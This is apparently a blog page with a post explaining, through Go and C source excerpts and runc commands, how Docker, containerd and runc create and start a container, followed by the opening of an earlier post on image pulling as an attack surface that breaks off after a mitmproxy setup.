Blog

Docker Internal (3)

2026-06-04T00:00:00+00:00

In the third post, we’ll discuss how the container is loaded.

Since the vulnerability I found has not yet been patched 😢, I won’t discuss how the NVIDIA toolkit can work as a replacement runtime in this post. I’ll cover it in a future post once the bug has been fixed.

1. Load a Container

If you run docker run --rm -it ubuntu:24.04, dockerd will receive two HTTP requests. The first is to create a container, which is the same as executing docker create ubuntu:24.04.

POST /v1.54/containers/create HTTP/1.1
Host: api.moby.localhost
User-Agent: Docker-Client/29.5.2 (linux)
Content-Length: 1711
Content-Type: application/json
...

The second is to start the container, which is the same as executing docker start .

POST /v1.54/containers/17b7029c5b5121a40ef71d91640fff00f20152df0b167a4464c02450c208b8a1/start HTTP/1.1
Host: api.moby.localhost
User-Agent: Docker-Client/29.5.2 (linux)
Content-Length: 0

dockerd’s initRoutes() defines both endpoint handlers, and we’ll read their implementation later.

// daemon/server/router/container/container.go
func (c *containerRouter) initRoutes() {
    c.routes = []router.Route{
        // [...]
        router.NewPostRoute("/containers/create", c.postContainersCreate),
        // [...]
        router.NewPostRoute("/containers/{name:.*}/start", c.postContainersStart),
        // [...]
    }
}

1.1. Create

The request data is a JSON-formatted data that includes the container’s configuration. The actual data looks like:

{
  "Hostname": "",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": true,
  "AttachStderr": true,
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": null,
  "Cmd": null,
  "Image": "ubuntu:24.04",
  "Volumes": {},
  "WorkingDir": "",
  "Entrypoint": null,
  "Labels": {},
  "HostConfig": {
    "Binds": null,
    "ContainerIDFile": "",
    "LogConfig": {
      "Type": "",
      "Config": {}
    },
    "NetworkMode": "default",
    "PortBindings": {},
    "RestartPolicy": {
      "Name": "no",
      "MaximumRetryCount": 0
    },
    "AutoRemove": false,
    "VolumeDriver": "",
    "VolumesFrom": null,
    "ConsoleSize": [
      50,
      212
    ],
    "CapAdd": null,
    "CapDrop": null,
    "CgroupnsMode": "",
    "Dns": null,
    "DnsOptions": [],
    "DnsSearch": [],
    "ExtraHosts": null,
    "GroupAdd": null,
    "IpcMode": "",
    "Cgroup": "",
    "Links": null,
    "OomScoreAdj": 0,
    "PidMode": "",
    "Privileged": false,
    "PublishAllPorts": false,
    "ReadonlyRootfs": false,
    "SecurityOpt": null,
    "UTSMode": "",
    "UsernsMode": "",
    "ShmSize": 0,
    "Isolation": "",
    "CpuShares": 0,
    "Memory": 0,
    "NanoCpus": 0,
    "CgroupParent": "",
    "BlkioWeight": 0,
    "BlkioWeightDevice": [],
    "BlkioDeviceReadBps": [],
    "BlkioDeviceWriteBps": [],
    "BlkioDeviceReadIOps": [],
    "BlkioDeviceWriteIOps": [],
    "CpuPeriod": 0,
    "CpuQuota": 0,
    "CpuRealtimePeriod": 0,
    "CpuRealtimeRuntime": 0,
    "CpusetCpus": "",
    "CpusetMems": "",
    "Devices": [],
    "DeviceCgroupRules": null,
    "DeviceRequests": null,
    "MemoryReservation": 0,
    "MemorySwap": 0,
    "MemorySwappiness": -1,
    "OomKillDisable": false,
    "PidsLimit": 0,
    "Ulimits": [],
    "CpuCount": 0,
    "CpuPercent": 0,
    "IOMaximumIOps": 0,
    "IOMaximumBandwidth": 0,
    "MaskedPaths": null,
    "ReadonlyPaths": null
  },
  "NetworkingConfig": {
    "EndpointsConfig": {
      "default": {
        "IPAMConfig": null,
        "Links": null,
        "Aliases": null,
        "DriverOpts": null,
        "GwPriority": 0,
        "NetworkID": "",
        "EndpointID": "",
        "Gateway": "",
        "IPAddress": "",
        "MacAddress": "",
        "IPPrefixLen": 0,
        "IPv6Gateway": "",
        "GlobalIPv6Address": "",
        "GlobalIPv6PrefixLen": 0,
        "DNSNames": null
      }
    }
  }
}

postContainersCreate() first decodes the request into three different configs [1] and then creates a container based on these configs [2].

// daemon/server/router/container/container_routes.go
func (c *containerRouter) postContainersCreate(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    req, err := runconfig.DecodeCreateRequest(rdr, c.backend.RawSysInfo())
    config, hostConfig, networkingConfig := req.Config, req.HostConfig, req.NetworkingConfig // [1]
    // [...]
    ccr, err := c.backend.ContainerCreate(ctx, backend.ContainerCreateConfig{ // [2]
        Name:                        name,
        Config:                      config,
        HostConfig:                  hostConfig,
        NetworkingConfig:            networkingConfig,
        Platform:                    platform,
        DefaultReadOnlyNonRecursive: defaultReadOnlyNonRecursive,
    })
    // [...]
}

Internally, newContainer() is called to create a container instance and set its root directory to /var/lib/docker/containers/ [3].

// daemon/container.go
func (daemon *Daemon) newContainer(name string, platform ocispec.Platform, config *containertypes.Config, hostConfig *containertypes.HostConfig, imgID image.ID, managed bool) (*container.Container, error) {
    // [...]
    base := container.NewBaseContainer(id, filepath.Join(daemon.repository, id)) // [3]
    // [...]
    base.Config = config
    base.HostConfig = hostConfig
    // [...]
    return base
}

After the container has been set up, its metadata is saved into config.v2.json for later use [4]. The host configuration is also saved, but it is kept separately in another file, hostconfig.json [5].

// daemon/container/container.go
func (container *Container) CheckpointTo(ctx context.Context, store *ViewDB) error {
    // [...]
    deepCopy, err := container.toDisk()
    // [...]
}

func (container *Container) toDisk() (*Container, error) {
    // [...]
    pth, err := container.ConfigPath() // config.v2.json
    f, err := atomicwriter.New(pth, 0o600)
    w := io.MultiWriter(&buf, f)
    if err := json.NewEncoder(w).Encode(container); err != nil { // [4]
        // [...]
    }

    var deepCopy Container
    if err := json.NewDecoder(&buf).Decode(&deepCopy); err != nil {
        // [...]
    }
    deepCopy.HostConfig, err = container.WriteHostConfig() // <--------
    // [...]
}

func (container *Container) WriteHostConfig() (*containertypes.HostConfig, error) {
    // [...]
    pth, err := container.HostConfigPath() // hostconfig.json
    f, err := atomicwriter.New(pth, 0o600)
    w := io.MultiWriter(&buf, f)
    if err := json.NewEncoder(w).Encode(&container.HostConfig); err != nil { // [5]
        // [...]
    }
    // [...]
}

We can see these files in the corresponding directory.

root@aaa:~# ls -al /var/lib/docker/containers/2fa14c3b70546123aa4de5628bad07282085500fb48dee65adae4546b55b7128/
total 20
drwx--x--- 3 root root 4096 Jun  3 11:15 .
drwx--x--- 4 root root 4096 Jun  3 11:36 ..
drwx------ 2 root root 4096 Jun  3 11:15 checkpoints
-rw------- 1 root root 2462 Jun  3 11:15 config.v2.json
-rw------- 1 root root 1216 Jun  3 11:15 hostconfig.json

These configs are loaded and used from dockerd’s memory store [6], which is a mapping from container’s ID to the container object.

// daemon/daemon.go
type Daemon struct {
    // [..]
    containers        container.Store // [6]
    // [..]
}

// daemon/container/memory_store.go
type memoryStore struct {
    s map[string]*Container
    sync.RWMutex
}

Every time dockerd restarts, the initialization function NewDaemon() calls loadContainers() [7] to cache all of them into the memory store to avoid heavy disk access.

// daemon/daemon.go
func NewDaemon(ctx context.Context, config *config.Config, pluginStore *plugin.Store, authzMiddleware *authorization.Middleware) (_ *Daemon, retErr error) {
    // [...]
    containers, err := d.loadContainers(ctx) // [7]
    // [...]
}

func (daemon *Daemon) loadContainers(ctx context.Context) (map[string]map[string]*container.Container, error) {
    // [...]
    dir, err := os.ReadDir(daemon.repository)
    // [...]
    for _, v := range dir {
        // [...]
        id := v.Name()
        c, err := daemon.load(id)
        containers[c.ID] = c // <--------
        // [...]
    }
}

1.2. Start

After the container is created, the container-starting request is sent to dockerd to run the container.

Inside ContainerStart(), the daemonCfg is created to hold the current daemon (dockerd) configuration [1]. daemon.GetContainer() is then called to retrieve the matching container object from the memory store [2]. Finally, containerStart() is called to start the container with these configurations [3].

// daemon/server/router/container/container_routes.go
func (c *containerRouter) postContainersStart(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    if err := c.backend.ContainerStart(ctx, vars["name"], r.Form.Get("checkpoint"), r.Form.Get("checkpoint-dir")); err != nil { // <--------
        return err
    }
    // [...]
}

// daemon/start.go
func (daemon *Daemon) ContainerStart(ctx context.Context, name string, checkpoint string, checkpointDir string) error {
    daemonCfg := daemon.config() // [1]
    // [...]
    ctr, err := daemon.GetContainer(name) // [2]
    // [...]
    return daemon.containerStart(ctx, daemonCfg, ctr, checkpoint, checkpointDir, true) // [3]
}

// daemon/daemon.go
type configStore struct {
    config.Config

    Runtimes runtimes
}

containerStart() does four things. First, it generates the container’s OCI spec [4], which determines the container’s runtime environment. Then it creates a container on the containerd side [5].

You may wonder why we still need to create another container even though we’ve already created it. Actually, these two creations are in different layers. The first is triggered by docker create ..., and it keeps metadata and config object in filesystem; it is for dockerd.

This time, the creation is for containerd-level container object. containerd inserts a record about the OCI spec and shim/runtime into the database.

After that, dockerd asks containerd to create a task [6]. A task is the containerd-level handle for the running container; creating it starts the shim daemon, which in turn creates the init process. At this point the task is created but stopped, waiting to be unblocked before it executes the entrypoint binary.

Later, it then calls tsk.Start() [7] to start the task, indirectly telling the shim daemon to unblock the init process, which finally executes the entrypoint binary and becomes the container.

// daemon/start.go
func (daemon *Daemon) containerStart(ctx context.Context, daemonCfg *configStore, container *container.Container, checkpoint string, checkpointDir string, resetRestartManager bool) (retErr error) {
    // ... container setting
    // 1. build OCI spec
    spec, err := daemon.createSpec(ctx, daemonCfg, container, mnts) // [4]
    
    // [...]
    // 2. create a container (containerd.services.containers.v1.Containers/Create)
    ctr, err := libcontainerd.ReplaceContainer(ctx, daemon.containerd, container.ID, spec, shim, createOptions, func(ctx context.Context, client *containerd.Client, c *containers.Container) error { // [5]
        // [...]
        is, ok := daemon.imageService.(*mobyc8dstore.ImageService)
        img, err := is.ResolveImage(ctx, container.Config.Image)
        // [...]
        c.Image = img.Name
        return nil
    })

    // [...]
    // 3. create a task (containerd.services.tasks.v1.Tasks/Create)
    tsk, err := ctr.NewTask(/* ... */) // [6]

    // [...]
    // 4. start the task (containerd.services.tasks.v1.Tasks/Start)
    if err := tsk.Start(context.WithoutCancel(ctx)); err != nil { // [7]
        // [...]
    }
}

1.2.1. Create the OCI spec

createSpec() generates the OCI spec. It first gets the default spec [1] and registers config-parsing callbacks [2]. Later, the callbacks are invoked to modify the OCI spec [3].

// daemon/oci_linux.go
func (daemon *Daemon) createSpec(ctx context.Context, daemonCfg *configStore, c *container.Container, mounts []container.Mount) (retSpec *specs.Spec, _ error) {
    var (
        opts []coci.SpecOpts
        s    = oci.DefaultSpec() // [1]
    )
    opts = append(opts,
        withCommonOptions(daemon, &daemonCfg.Config, c), // [2]
        // [...]
    )
    // set options callback
    return &s, coci.ApplyOpts(ctx, daemon.containerdClient, &containers.Container{ // <--------
        ID:          c.ID,
        Snapshotter: snapshotter,
        SnapshotKey: snapshotKey,
    }, &s, opts...)
}

func ApplyOpts(ctx context.Context, client Client, c *containers.Container, s *Spec, opts ...SpecOpts) error {
    for _, o := range opts {
        if err := o(ctx, client, c, s); err != nil { // [3]
            return err
        }
    }

    return nil
}

Most fields described by the default spec [4] are the same as the finally generated JSON config if you don’t pass additional options.

// daemon/pkg/oci/defaults.go
func DefaultSpec() specs.Spec {
    // [...]
    return DefaultLinuxSpec()
}

func DefaultLinuxSpec() specs.Spec {
    return specs.Spec{ // [4]
        // [...]
        Process: &specs.Process{
            Capabilities: &specs.LinuxCapabilities{
                Bounding:  caps.DefaultCapabilities(),
                Permitted: caps.DefaultCapabilities(),
                Effective: caps.DefaultCapabilities(),
            },
        },
        // [...]
    }
}

1.2.2. Save Container Metadata into DB

The .ReplaceContainer() call is internally wrapped into a "/containerd.services.containers.v1.Containers/Create" request and sent to containerd [1].

// daemon/internal/libcontainerd/replace.go
func ReplaceContainer(ctx context.Context, client types.Client, id string, spec *specs.Spec, shim string, runtimeOptions any, opts ...containerd.NewContainerOpts) (types.Container, error) {
    newContainer := func() (types.Container, error) {
        return client.NewContainer(ctx, id, spec, shim, runtimeOptions, opts...)
    }
    ctr, err := newContainer() // <--------
    // [...]
}

// vendor/github.com/containerd/containerd/api/services/containers/v1/containers_grpc.pb.go
func (c *containersClient) Create(ctx context.Context, in *CreateContainerRequest, opts ...grpc.CallOption) (*CreateContainerResponse, error) {
    out := new(CreateContainerResponse)
    err := c.cc.Invoke(ctx, "/containerd.services.containers.v1.Containers/Create", in, out, opts...) // [1]
    // [...]
}

On the containerd side, _Containers_Create_Handler() is called to save the container object into the boltdb (/var/lib/containerd/io.containerd.metadata.v1.bolt/meta.db) [2].

bbolt is an embedded key/value database for Go, and here it is used as a metadata store by containerd.

// api/services/containers/v1/containers_grpc.pb.go
func _Containers_Create_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
    // [...]
    info := &grpc.UnaryServerInfo{
        Server:     srv,
        FullMethod: "/containerd.services.containers.v1.Containers/Create",
    }
    handler := func(ctx context.Context, req interface{}) (interface{}, error) {
        return srv.(ContainersServer).Create(ctx, req.(*CreateContainerRequest)) // <--------
    }
    // [...]
}

// plugins/services/containers/local.go
func (l *local) Create(ctx context.Context, req *api.CreateContainerRequest, _ ...grpc.CallOption) (*api.CreateContainerResponse, error) {
    // [...]
    if err := l.withStoreUpdate(ctx, func(ctx context.Context) error { // [2]
        container := containerFromProto(req.Container)
        // [...]
        created, err := l.Store.Create(ctx, container)
        resp.Container = containerToProto(&created)
        // [...]
        return nil
    })
}

The container object here is different from dockerd’s. containerd’s container object is a runtime metadata record (ID, Runtime, Snapshotter, Image, Spec, Labels, …). They are persisted independently in different stores.

// core/containers/containers.go
type Container struct {
    // [...]
    Spec typeurl.Any
    // [...]
}

If you are interested in how the DB entry looks, you can first install the bbolt CLI:

go install go.etcd.io/bbolt/cmd/bbolt@latest

It allows you to view the entry content from meta.db.

# [Check database file integrity]
bbolt check meta.db
## Response: OK

# [List the bucket]
bbolt buckets meta.db
## Response: v1

# [List and get keys]
bbolt keys meta.db v1
## Response:
##  moby
##  moby_history
##  version
##
## PS. moby and moby_history are sub-buckets

bbolt keys meta.db v1 moby containers
## Response:
##  db58127f96bd2c5655eb53f516ba7efeafac3c7335c5f2389e2b8a329e034b11

bbolt keys meta.db v1 moby containers db58127f96bd2c5655eb53f516ba7efeafac3c7335c5f2389e2b8a329e034b11 spec
## Response:
##  0a3674797065732e636f6e7461...(lots hex value)
## decoded: .. "ociVersion":"1.3.0","process":{"terminal":true,"consoleSize":{"height":50,"width":212}, ...

1.2.3. Create Bundle & Spawn shim Daemon

ctr.NewTask() ends up as a "/containerd.services.tasks.v1.Tasks/Create" request to containerd.

The handler Create() first gets the container object from the boltdb meta.db [1] and sets up the create options [2]. Finally, rtime.Create() is called with these options [3].

// plugins/services/tasks/local.go
func (l *local) Create(ctx context.Context, r *api.CreateTaskRequest, _ ...grpc.CallOption) (*api.CreateTaskResponse, error) {
    container, err := l.getContainer(ctx, r.ContainerID) // [1]
    // [...]
    opts := runtime.CreateOpts{ // [2]
        Spec: container.Spec,
        IO: runtime.IO{
            Stdin:    r.Stdin,
            Stdout:   r.Stdout,
            Stderr:   r.Stderr,
            Terminal: r.Terminal,
        },
        // [...]
        Runtime:         container.Runtime.Name,
        // [...]
    }
    // [...]
    rtime := l.v2Runtime
    c, err := rtime.Create(ctx, r.ContainerID, opts) // [3]
    // [...]
}

Inside Create(), NewBundle() is called to create the runtime container directories and files [4]. Later, m.manager.Start() [5] spawns a containerd-shim-runc-v2 process as the container shim daemon. Finally, shimTask.Create() sends a CreateTaskRequest to the shim daemon, which in turn executes the command run create --bundle .

// core/runtime/v2/task_manager.go
func (m *TaskManager) Create(ctx context.Context, taskID string, opts runtime.CreateOpts) (_ runtime.Task, retErr error) {
    // [...]
    bundle, err := NewBundle(ctx, m.root, m.state, taskID, opts.Spec) // [4]
    shim, err := m.manager.Start(ctx, taskID, bundle, opts) // [5]
    shimTask, err := newShimTask(shim)
    // [...]
    t, err := func() (runtime.Task, error) {
        t, err := shimTask.Create(ctx, opts) // [6]
        // [...]
    }()
}

The OCI config file is created in NewBundle() with the path "/run/containerd/io.containerd.runtime.v2.task///config.json" [7].

// core/runtime/v2/bundle.go
func NewBundle(ctx context.Context, root, state, id string, spec typeurl.Any) (b *Bundle, err error) {
    // [...]
    ns, err := namespaces.NamespaceRequired(ctx) // ns == "moby"
    b = &Bundle{
        ID:        id,
        Path:      filepath.Join(state, ns, id), // state == "/run/containerd/io.containerd.runtime.v2.task/"
                                                 // id == ""
        // [...]
    }
    // [...]
    if spec != nil {
        if spec := spec.GetValue(); spec != nil {
            // [...]
            specPath := filepath.Join(b.Path, oci.ConfigFilename)
            err = os.WriteFile(specPath, spec, 0666) // [7]
        }
    }
    // [...]
}

The actual command for spawning a shim process looks like:

/usr/bin/containerd-shim-runc-v2 \
-namespace moby \
-address /run/containerd/containerd.sock \
-publish-binary /usr/bin/containerd \
-id 636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5 \
start

The arguments of the command executed by the shim daemon to create a container consist of the global part (before create) and the sub-command part (after create).

/usr/bin/runc \
--root /var/run/docker/runtime-runc/moby \
--log /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/log.json \
--log-format json \
--systemd-cgroup \
create \
--bundle /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5 \
--pid-file /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/init.pid \
636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5

1.2.4. Enter the Container

In the final step, tsk.Start() is called to send a "/containerd.services.tasks.v1.Tasks/Start" request to containerd, whose handler is Start() in local.go.

This function first looks up the running task [1] and then sends a StartRequest to the shim daemon to start the container [2].

// plugins/services/tasks/local.go
func (l *local) Start(ctx context.Context, r *api.StartRequest, _ ...grpc.CallOption) (*api.StartResponse, error) {
    t, err := l.getTask(ctx, r.ContainerID) // [1]
    // [...]
    p := runtime.Process(t)
    // [...]
    if err := p.Start(ctx); err != nil { // <--------
        // [...]
    }
    // [...]
}

// core/runtime/v2/shim.go
func (s *shimTask) Start(ctx context.Context) error {
    _, err := s.task.Start(ctx, &task.StartRequest{ // [2]
        ID: s.ID(),
    })
    // [...]
}

On the shim daemon side, the command runc start is executed to unblock the init process that runc create left parked just before execve().

The actual command line looks like:

/usr/bin/runc \
--root /var/run/docker/runtime-runc/moby \
--log /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/log.json \
--log-format json \
--systemd-cgroup \
start \
636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5

2. Runc Internal

Here, we try to understand how runc loads the container by reviewing the source code.

2.1. Cmd: create

The command “create” handler is startContainer(). It indirectly calls start(), which in turn calls createExecFifo() [1] to create a FIFO file and builds the init command by calling newParentProcess() [2]. Finally, parent.start() is called to execute runc init [3].

// create.go
var createCommand = &cli.Command{
    Name:  "create",
    Action: func(_ context.Context, cmd *cli.Command) error {
        // [...]
        status, err := startContainer(cmd, CT_ACT_CREATE, nil) // <--------
        // [...]
    },
}

// libcontainer/container_linux.go
func (c *Container) start(process *Process) (retErr error) {
    if process.Init {
        // [...]
        if err := c.createExecFifo(); err != nil { // [1]
            return err
        }
        // [...]
    }

    // [...]
    parent, err := c.newParentProcess(process) // [2]

    if err := parent.start(); err != nil { // [3]
        // [...]
    }
}

newParentProcess() prepares the command line for /proc/self/fd/ init. The command and process information are wrapped into an initProcess object and returned [4].

// libcontainer/container_linux.go
func (c *Container) newParentProcess(p *Process) (parentProcess, error) {
    else {
        // [...]
        safeExe, err = exeseal.CloneSelfExe(c.stateDir)
        // [...]
        exePath = "/proc/self/fd/" + strconv.Itoa(int(safeExe.Fd()))
        // [...]
    }
    cmd := exec.Command(exePath, "init")
    cmd.Args[0] = os.Args[0]
    // [...]
    if p.Init {
        // [...]
        return c.newInitProcess(p, cmd, comm) // [4]
    }
}

parent.start() is then called to fork a child process and execve runc init [5].

Now there are two processes. The child (runc init) is the one that enters the new namespaces and sets up the container environment from the inside, such as mounting the filesystem and applying seccomp rules. It is the same process that will later execve the user’s command.

The parent stays on the host as a privileged helper, doing the things the child can’t do once it’s inside the namespaces: applying cgroups, providing the uid/gid maps, and running host-side hooks.

The two coordinate over a sync socket p.comm.syncSockParent [6]. Once the child is ready, the parent will receive the procReady event [7] and exit.

// libcontainer/process_linux.go
func (p *initProcess) start() (retErr error) {
    // [...]
    err := p.cmd.Start() // [5]

    // [...]
    if err := p.manager.Apply(p.pid()) // set up cgroups

    if err := p.createNetworkInterfaces(); err != nil {
        // [...]
    }

    if err := p.setupNetworkDevices(); err != nil {
        // [...]
    }

    if p.config.Config.HasHook(configs.CreateContainer, configs.StartContainer) {
        // [...]
    }

    ierr := parseSync(p.comm.syncSockParent /* [6] */, func(sync *syncT) error {
        case procMountPlease:
            // [...]
        case procSeccomp:
            // [...]
        case procReady: // [7]
            // [...]
        case procHooks:
            // [...]
        // [...]
    })
    // [...]
    return nil
}

Let’s see how runc init works.

2.2. Cmd: init

Before looking at the “init” implementation, we have to talk about the nsexec() constructor.

A Golang binary can use cgo to refer to C functions. Here, the nsexec() function works as a C constructor, so it is triggered before main().

// libcontainer/nsenter/nsenter.go
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
    nsexec();
}
*/
import "C"

It does nothing if there is no pipe [1], but for runc init, because its parent process (runc create) sets up this environment variable for it, it passes the check and continues to run. The comment also implies the same thing.

// libcontainer/nsenter/nsexec.c
void nsexec(void)
{
    // [...]
    pipenum = getenv_int("_LIBCONTAINER_INITPIPE");
    if (pipenum < 0) { // [1]
        /* We are not a runc init. Just return to go runtime. */
        return;
    }
    // [...]
}

This env is set to one side of the init socket pair [2] when runc create is preparing the command line of the init process.

// libcontainer/container_linux.go
func (c *Container) newParentProcess(p *Process) (parentProcess, error) {
    // [...]
    cmd.ExtraFiles = append(cmd.ExtraFiles, comm.initSockChild) // [2]
    cmd.Env = append(cmd.Env,
        "_LIBCONTAINER_INITPIPE="+strconv.Itoa(stdioFdCount+len(cmd.ExtraFiles)-1),
    )
    // [...]
}

Going back to nsexec(), we can see that it holds a complex stage machine to set up the isolated environment.

// libcontainer/nsenter/nsexec.c
void nsexec(void)
{
    // [...]
    switch (setjmp(env)) {
    case STAGE_PARENT:
    // [...]
    case STAGE_CHILD:
    // [...]
    case STAGE_INIT:
    // [...]
    }
}

The diagram below may help you understand the whole flow.

     stage-0  (STAGE_PARENT)  // in host namespaces
        |  parse netlink bootstrap (cloneflags, uid/gid maps...)
 (child)|
 +------|  clone_parent(&env, STAGE_CHILD)
 |      |
 |      |  stage-1 >> SYNC_USERMAP_PLS
 |      |                                 write /proc//uid_map, gid_map
 |      |  stage-1 << SYNC_USERMAP_ACK
 |      |
 |      |
 |      |  stage-1 >> SYNC_RECVPID_PLS
 |      |                                 receives stage-2 pid, forwards up to Go
 |      |  stage-1 << SYNC_RECVPID_ACK
 |      |  stage-1 >> SYNC_CHILD_FINISH
 |      +  exit(0)
 |
 |
 |
 +-> stage-1  (STAGE_CHILD) // inside several new namespaces
        |  setns(provided namespaces)
        |
        |  try_unshare(CLONE_NEWUSER)
        |  SYNC_USERMAP_PLS >> stage-0
        |  (waiting...)
        |  SYNC_USERMAP_ACK << stage-0
        |
        |  try_unshare(config.cloneflags)
 +------|  clone_parent(&env, STAGE_INIT)
 |      |
 |      |  SYNC_RECVPID_PLS >> stage-0
 |      |  (waiting...)
 |      |  SYNC_RECVPID_ACK << stage-0
 |      |  SYNC_CHILD_FINISH >> stage-0
 |      +  exit(0)
 |
 |
 |
 +-> stage-2  (STAGE_INIT) // inside ALL new namespaces, PID 1 in new pidns
        |  final cleanup
        +  return (and continue)

The stage-1 child is required because unshare(CLONE_NEWPID) doesn’t move itself into the new PID namespace. That is why after the stage-1 process calls setns() and unshare() all namespaces, it has to fork the stage-2 child process, whose pid is 1 in the new namespace.

In fact, init() works as initializer for init package, but this function covers all init command handling, and main() won’t be executed later. Internally, startInitialization() is called to recover file descriptors, reconstruct the init configuration, and synchronize status with its parent process, runc create.

// init.go
func init() {
    if len(os.Args) > 1 && os.Args[1] == "init" {
        libcontainer.Init() // <--------
    }
}

// libcontainer/init_linux.go
func Init() {
    // [...]
    if err := startInitialization(); err != nil { // <--------
        // [...]
    }
    // [...]
}

func startInitialization() (retErr error) {
    // [...]
    envInitPipe := os.Getenv("_LIBCONTAINER_INITPIPE")
    initPipeFd, err := strconv.Atoi(envInitPipe)
    initPipe := os.NewFile(uintptr(initPipeFd), "init") // use as Go file object
    // [...]
    var config initConfig
    if err := json.NewDecoder(initPipe).Decode(&config); err != nil {
        return err
    }
    // [...]
    return containerInit(it, &config, syncPipe, consoleSocket, pidfdSocket, fifoFile, logPipe)
}

containerInit() handles two init types. If a new container is being created, the init type will be initStandard [1]; otherwise, when attaching to an already-running container, initSetns is used [2].

// libcontainer/init_linux.go
func containerInit(t initType, config *initConfig, pipe *syncSocket, consoleSocket, pidfdSocket, fifoFile, logPipe *os.File) error {
    switch t {
    case initSetns: // [2]
        i := &linuxSetnsInit{
            // [...]
        }
        return i.Init()
    case initStandard: // [1]
        i := &linuxStandardInit{
            // [...]
        }
        return i.Init()
    }
}

runc init now is still root and has full privileges inside the namespaces. It sets up the environment inside the container, such as network routing [3] and the filesystem [4]. Later, it calls finalizeNamespace() [5] to drop capabilities, change the working directory, and close all leaked file descriptors.

Before executing the entrypoint binary [6], it reopens the FIFO file with only write permission [7], and this behavior causes runc init to be blocked until someone opens the same FIFO file with read permission.

// libcontainer/standard_init_linux.go
func (l *linuxStandardInit) Init() error {
    // [...]
    if err := setupNetwork(l.config); err != nil { // [3]
        return err
    }
    // [...]
    err := prepareRootfs(l.pipe, l.config) // [4]
    // [...]
    if err := finalizeNamespace(l.config); err != nil { // [5]
        return err
    }
    // [...]
    fifoFile, err := pathrs.Reopen(l.fifoFile, unix.O_WRONLY|unix.O_CLOEXEC) // [7]
    // [...]
    name, err := exec.LookPath(l.config.Args[0])
    // [...]
    return linux.Exec(name, l.config.Args, l.config.Env) // [6]
}

You can probably guess who the reader is. That’s right, it’s runc start!

2.3. Cmd: start

runc init is blocked and waiting for a reader, and now the status of the container is Created.

The shim handles the start-container request by executing runc start, and the action callback calls container.Exec() [1] when the status of the container is Created [2].

// start.go
var startCommand = &cli.Command{
    Name:  "start",
    Action: func(_ context.Context, cmd *cli.Command) error {
        // [...]
        container, err := getContainer(cmd)
        // [...]
        switch status {
        case libcontainer.Created: // [2]
                // [...]
            if err := container.Exec(); err != nil { // [1]
                // [...]
            }
        // [...]
        }
        // [...]
    }
}

Exec() finally calls handleFifo() [3] to open the FIFO file with read permission, which allows runc init to continue running and enter the container.

// libcontainer/container_linux.go
func (c *Container) Exec() error {
    // [...]
    return c.exec() // <--------
}

func (c *Container) exec() error {
    path := filepath.Join(c.stateDir, execFifoFilename)
    if err := handleFifo(path, c.initProcess.pid()); err != nil { // [3]
        // [...]
    }

    return c.postStart() // run Poststart hook
}

2.4. Others

If you want to test these behaviors directly by runc, you can follow the steps below.

First, create a bundle directory to save the root filesystem and config.json.

mkdir container_bundle
cd container_bundle

Then extract the root filesystem from a docker image into the rootfs directory.

docker create --name temp ubuntu:24.04
mkdir rootfs
docker export temp | tar -C rootfs -xvf -
docker rm temp

The runc “spec” command can generate a default OCI spec config.json.

runc spec

Modify config.json to update the entry command.

{
    "ociVersion": "1.2.1",
    "process": {
        ...
+       "terminal": false,
-       "terminal": true,
        "args": [
-           "sh"
+           "/usr/bin/sleep", "3600"
        ]

Now you can create a container based on the bundle.

sudo runc create --bundle . my_container_id

View the status of all containers, and our container is created.

sudo runc list
ID                PID         STATUS      BUNDLE                  CREATED                          OWNER
my_container_id   63886       created     /tmp/container_bundle   2026-06-04T03:54:00.492598105Z   root

If you list the fds of this container, you can find that there is a FIFO file.

ls -al /proc/63886/fd/
# [...]
l--------- 1 root root 64 Jun  4 11:55 7 -> /run/runc/my_container_id/exec.fifo
# [...]

After starting the container, you can see our entry command sleep 3600 is running now!

sudo runc start my_container_id

ps aux | grep sleep
root       64268  0.0  0.0   2704  1688 ?        Ss   12:05   0:00 /usr/bin/sleep 3600

3. Summary

This post covers the process of loading a container, including the implementation of runc. In the next post, I will analyze runtime replacement and the hook interfaces exposed by Docker, using the NVIDIA Toolkit as an example.

Docker Internal (2)

2026-06-02T00:00:00+00:00

In the last post, we introduced the relationship between the components in the Docker system, and in this post, we’ll discuss the attack surfaces.

1. Pull an Image

Imagine you just run docker pull and then you’ve been pwned (just an example 😝). Yeah, the first attack surface is quite straightforward: when you download a malicious image which is published by an attacker, the Docker daemon parses the metadata, extracts the compressed files, and saves them into the filesystem. During this process, the crafted file may affect host data if bugs or vulnerabilities exist.

In this post, we’ll analyze how Docker pulls an image, parses the metadata, and extracts the files. We’ll also explore potential attack surfaces in the end.

1.1. Setup Environment

To understand the image fetching process, we can run a proxy and intercept the HTTP request between the daemon and the registry server. Here, I use mitmproxy:

mitmproxy --listen-host 127.0.0.1 --listen-port 8080

And write the config below to /etc/systemd/system/docker.service.d/http-proxy.conf:

[Service]
Environment="HTTP_PROXY=http://127.0.0.1:8080"
Environment="HTTPS_PROXY=http://127.0.0.1:8080"

Then restart the dockerd daemon to reload the configuration:

sudo systemctl daemon-reload  # reload config
sudo systemctl restart docker # restart dockerd

After that, you can read the intercepted HTTP request in mitmproxy’s TUI when you run docker pull ubuntu:24.04:

1.2. Auth & HEAD Manifest

Run docker pull ubuntu:24.04 and the docker-cli sends the following HTTP request to dockerd:

